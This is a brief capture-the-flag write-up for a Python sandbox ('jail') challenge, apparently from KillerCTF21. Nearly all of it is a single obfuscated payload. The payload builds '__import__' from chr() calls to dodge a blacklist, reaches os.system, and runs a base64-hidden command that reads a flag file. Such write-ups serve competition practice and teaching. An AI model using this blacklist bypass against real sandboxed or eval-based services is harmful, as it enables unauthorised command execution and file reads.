Tags: pwn sandbox python 

Rating:

**I want to break free 2**

Bypass blacklist and abuse builtins python function

`imp=__builtins__.__dict__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(111)+chr(115));print(imp);b64=__builtins__.__dict__[chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)](chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52));print(b64.b64decode(bytes('YWJjZA==','utf-8')));zyz=getattr(imp,b64.b64decode(b'c3lzdGVt').decode());print(zyz);print(zyz(b64.b64decode(b'Y2F0IGNmNzcyOGJlNzk4MGZkNzcwY2UwM2Q5ZDkzN2Q2ZDQwODczMTBmMDJkYjdmY2JhNmViYmFkMzhiZDY0MWJhMTkudHh0').decode()));`

[https://github.com/ivanmedina/CTFs/blob/master/KillerCTF21/jailpublic/solve.txt](https://github.com/ivanmedina/CTFs/blob/master/KillerCTF21/jailpublic/solve.txt)

Solved by [ivanmedina](https://github.com/ivanmedina/)

Original writeup (https://github.com/ivanmedina/CTFs/blob/master/KillerCTF21/jailpublic/solve.txt).